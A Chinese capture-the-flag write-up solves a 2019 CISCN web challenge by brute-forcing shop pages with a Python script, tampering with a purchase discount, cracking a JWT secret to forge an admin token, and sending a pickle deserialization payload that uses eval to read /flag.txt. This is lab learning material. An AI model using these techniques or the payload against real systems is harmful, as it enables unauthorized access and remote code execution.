ciscn_2019_web_northern_china_day1_web2
BEGIN
拿到题目,先看看
这里发现一个很像提示的东西,然后发现下面是一堆小电视商品,有lv等级和金钱,所以这题的入口可能就是再lv6和这个资金募集上
然后点击下next,看看页数的参数,然后爆破一下(注意看看lv信息是怎么显示的,这里是图片名
爆破lv6
import requests
url = 'http://192.168.163.128:8083/shop?page='
for i in range(1, 1000):
r = requests.get(url + str(i))
if 'lv6.png' in r.text:
print(i)
break
爆破出结果是181
然后就购买但是金额不够(记得注册登录
然后看到有折扣,就抓包试试能不能改
抓包修改折扣
修改完后,发现返回一个Location(主要也没别的信息了(毕竟也不是404,502啥的
然后就访问url\blg_m4mber
然后⬇️
JWT伪造
怎么越权呢,先抓个包
然后发现有JWT::Json web token (JWT)
直达➡️JWT伪造
然后就复现一下JWT伪造,把secret key爆破出来
把JWT换成自己的
然后到https://jwt.io/
生成一下(先放原有的然后修改user和secret key,就ok了)
生成伪造的JWT
这里还卡了一下,因为我是把JWT用burp传的,然后看不到提示信息(burp raw不支持中文 😢
康康wp,F12开始操作
然后下载源码然后又卡住了
代码审计
漏洞:pickle.loads unserialize
执行魔术方法造成rce
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)
payload
注意到,urllib.unquote()
是python2
的用法,python3
中使用urllib.parse.unquote()
#!/usr/bin/env python2.7
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print a
然后通过become传参
还好不是只能在源码里看,一开始真没在raw中找到,然后就render看看,毕竟都200OK了结果没看到flag 😓
卡挺久的
OVER
抓包+JWT+pickle反序列化RCE